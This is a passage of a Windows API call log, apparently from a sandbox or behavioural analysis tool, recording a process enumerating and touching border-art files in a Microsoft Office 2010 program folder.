ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0069.719] GetLastError () returned 0x12 [0069.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.719] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1077840) returned 1 [0069.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.720] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0069.720] GetLastError () returned 0x12 [0069.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.720] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.720] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0069.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.720] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.721] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1758048, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1758048, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.721] NtClose (Handle=0x198) returned 0x0 [0069.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.721] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.723] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.723] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0069.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f358 [0069.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.723] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f378 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066ab8 [0069.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.724] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f398 [0069.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066bc8 [0069.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.725] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f3b8 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066c50 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.725] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f3d8 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066cd8 [0069.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.726] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f3f8 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066d60 [0069.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.726] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0069.726] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f418 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066de8 [0069.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.727] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f438 [0069.727] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066e70 [0069.727] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.728] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f458 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066ef8 [0069.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.728] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.728] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f478 [0069.728] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066f80 [0069.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.729] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0069.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f498 [0069.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067008 [0069.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.729] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0069.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.729] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.729] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f4b8 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067090 [0069.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.730] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.730] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f4d8 [0069.730] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067118 [0069.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.731] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f4f8 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10671a0 [0069.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.731] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.731] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.731] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f518 [0069.732] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067228 [0069.732] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0069.732] GetLastError () returned 0x12 [0069.732] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.732] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: 